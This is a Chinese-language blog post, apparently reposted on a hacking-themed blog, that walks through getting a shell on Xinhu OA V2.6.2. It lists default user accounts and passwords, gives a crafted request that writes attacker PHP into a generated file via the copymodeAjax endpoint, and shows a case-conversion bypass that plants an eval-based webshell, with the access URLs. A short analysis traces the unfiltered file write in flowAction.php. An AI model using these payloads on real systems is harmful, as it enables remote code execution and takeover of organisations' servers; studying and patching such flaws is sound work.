Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863101714

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 前言信呼OA是一款開源的OA系統,面向社會免費提供學習研究使用,採用PHP語言編寫,搭建簡單方便,在中小企業中具有較大的客戶使用量。從公開的資產治理平台中匹配到目前互聯中有超過1W+的客戶使用案例。

信呼OA目前最新的版本是V2.6.2,發佈時間是2023-12-22。作者整體上保持了較高的系統更頻率,對歷史爆出的安全問題也及時進行修復。目前網上能找到的信呼OA getshell的辦法大多數是老版本或者是需要admin權限的,沒有針對新版本進行getshell的思路。

0x02 步驟本地搭建當前最新版的信呼OA系統V2.6.2,如下圖所示。

1.png

使用普通OA用戶登陸,信呼OA安裝之後默認存在賬號diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用戶,密碼都是123456。這裡使用普通用戶xiaoqiao登陸,然後構造下面的請求。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};phpinfo ();class a

2.png

生成的文件訪問如下(以下兩種方式均可):

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php

http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

3.png

由於傳遞的參數值會被全部轉化為小寫字母(下一步的漏洞分析中會提到),導致我們不能在webshell中使用大寫字母,所以並不能直接寫一句話webshell。繞過方式是可以通過下面的方式來轉化一下一句話木馬。

http://xinhu.test.com:8890/index.php?d=mainm=flowa=copymodeajaxbool=truePOST:id=1name=a{};eval (strtoupper('eval (\$_request[1]);'));class a

運行之後訪問下面的鏈接,由於鏈接中涉及到多個特殊字符,如果不清楚應該如何轉義的請複制下面的鏈接。

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

4.png

0x03 分析在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用戶傳入的參數,如下圖所示。

5.png繼續跟踪createtxt方法,如下所示,僅僅只是進行了文件寫入操作,並沒有進行過濾,導致任意文件寫入漏洞。

6.png原文鏈接關注Beacon Tower Lab專欄